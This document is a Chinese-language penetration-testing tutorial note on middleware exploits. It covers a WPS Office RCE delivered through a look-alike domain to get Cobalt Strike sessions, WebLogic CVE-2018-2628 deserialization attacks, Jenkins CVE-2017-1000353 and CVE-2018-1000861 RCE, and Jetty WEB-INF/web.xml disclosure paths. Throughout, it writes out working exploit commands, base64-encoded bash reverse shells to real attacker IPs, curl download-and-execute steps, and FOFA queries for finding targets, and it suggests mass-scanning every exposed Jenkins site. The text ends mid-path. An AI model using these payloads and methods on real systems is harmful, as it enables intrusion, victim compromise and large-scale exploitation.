第80天:服务攻防-中间件安全&HW2023-WPS分析&Webblogic&Jetty&Jenkins&CVE

WPS-HW2023-RCE & 复现 & 上线 CS

  • WPS Office 代码执行 (QVD-2023-17241) 影响版本
    • WPS Office 2023 个人版 < 11.1.0.15120
    • WPS Office 2019 企业版 < 11.8.2.12085

1、首先修改测试主机的hosts文件,将其改成:

1
2
3
4
5
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

#但是实战中总不能让受害者去改写hosts文件,这里可以申请一个域名,然后将ip指向自己
域名上增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn VPSIP上面
VPSIP架设1.html网站服务,修改1.html上线shellcode

image-20250828202032108

在 win10 虚拟机中在 WPS RCE 复现目录下面使用 python 启动一个 web 服务,并监听端口,或者用小皮也可以。

image-20250828202831102

image-20250828202809069

分析为什么会弹窗

首先将docx文件手动改名为zip格式,然后将其解压:

image-20250828203308383

image-20250828203554361

这个就是调用了本地的1.html,然后又有http服务,所以满足条件。

上线CS

1
流程是:申请一个类似的域名,然后将域名指向自己,然后将word文件中的xml文件指向自己的:域名/1.html这里的1.html也要在自己的服务器上,然后对方执行之后就会上线

创建一个监听器:

image-20250828204632137

image-20250828204536616

生成一个C或者C#的后门

image-20250828204603820

image-20250828204840717

将这里的shellcode替换到1.html中。

我这里失败了,cs服务端都有响应,但是客户端没有会话。

Weblogic-CVE & 反序列化 & RCE

  • Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。
  • 探针默认端口:7001

利用

  • WeblogicTool 的 GitHub 地址:https://github.com/KimJun1010/WeblogicTool
  • fofa 搜索语法
1
"Error 404-Not Found" && port="7001"

image-20250828212036685

CVE-2018-2628

getshell项目地址:

1
2
3
4
5
https://github.com/jas502n/CVE-2018-2628

需要使用python2的执行环境。
python CVE-2018-2628-Getshell.py 10.20.0.19 7001 shell1.jsp
#这里需要注意的是这个shell的文件名可以自定义但是,这里shell1.jsp必须要10个字符,才可以写入。

image-20250829185626045

手工RCE

1
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5893 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2LzU5ODMgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20250829190402063

监听对应的端口:

image-20250829190412822

1
python2 cve-2018-2628-exploit.py 10.20.0.19 7001 ysoserial-0.0.8-SNAPSHOT-all.jar 10.20.0.36 5893 JRMPClient

image-20250829191257415

可以看到shell弹回来了:

image-20250829191245902

中间件 - Jenkins-CVE&RCE 执行

  • Jenkins 是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作。
  • 探针默认端口:8080

fofa 搜索语法:

1
app="Jenkins"

cve_2017_1000353

  • 漏洞影响版本
    • 所有 jenkins 主版本均受到影响 (包括 <=2.56 版本)
    • 所有的 jenkins LTS 均受到影响 (包括 <=2.46.1 版本)

利用工具地址:http://github.com/vulhub/CVE-2017-1000353

1
2
3
4
5
6
7
# 1.先生成反弹shell命令
bash -i >& /dev/tcp/8.148.147.208/5566 0>&1
# 2.将base64编码过后的命令填入生成jenkins_poc.ser,这里java建议使用JDK-1.8.0_291,其他的好像有问题
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OC4xNDcuMjA4LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
# 3.使用python启动epxploit.py,加上网站和jenkins_poc.ser
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
# 4.攻击机即可获取到反弹的shell(要记得在攻击机执行nc -lvvp 5566)

我这里没有成功,估计就是java版本的问题…..

image-20250828214751805

image-20250828214802628

CVE-2018-1000861

漏洞影响版本:Jenkins2.153 及更早版本,LTS2.138.3 及更早版本

利用项目地址:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

利用:

1
2
3
4
5
6
7
8
# 1.将反弹shell命令写入到服务器下shell.txt
bash -i >& /dev/tcp/8.148.147.208/5566 0>&1
# 2.在服务器上启动一个web服务,使可以访问到shell.txt
python3 -m http.server 8888
# 3.先使目标远程下载shell.txt文件并保存
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt"
# 4.再使目标执行下载的文件
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"

实战中可以将是这个服务的网站全部获取到 (使用 fofa), 然后写个脚本批量跑下载 shell.txt,不断替换 url 即可,谁下载谁有漏洞,就可以进行测试了

cve_2019_1003000

需要用户帐号密码,鸡肋

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

中间件 - Jetty-CVE & 信息泄漏

CVE-2021-28169 && CVE-2021-34429

  • Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。

利用

fofa 搜索语法:

1
app="Jetty"

就是访问下面五个路径,有就是有,没有就是没有

1
2
3
4
5
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.